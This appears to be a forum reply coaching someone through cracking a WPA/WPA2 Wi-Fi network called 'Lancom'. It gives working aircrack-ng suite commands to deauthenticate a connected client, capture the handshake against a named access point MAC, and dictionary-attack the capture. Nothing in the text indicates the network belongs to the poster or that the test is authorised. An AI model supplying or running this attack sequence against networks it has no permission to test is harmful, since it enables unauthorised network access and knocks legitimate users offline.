Ok, I'm assuming you're trying to a

Ok, I'm assuming you're trying to attack a
WPA or WPA2 network. Your command,
Code: [View] aireplay-ng -1 0 -a 00:07:D5:01:31:2A -h
00:c0:ca:72:75:d3 -e Lancom mon0
means that you are trying to associate with
the AP, which is only necessary for cracking
WEP (and also WPS).
To get a handshake, you want to deauth a clent. Try running this:
Code: [View] aireplay-ng -0 10 -a (access point mac) -c
(client mac) -e Lancom mon0
This attack means that there needs to be a
client on the network that you can kick off.
To see any clients connected, run
Code: [View] airodump-ng --bssid 00:07:D5:01:31:2A
mon0 -w Lancom
You should always run that command before
you try to capture a handshake.
After you get the handshake, run
Code: [View] aircrack-ng Lancom*.cap -w (path to your
dictionary)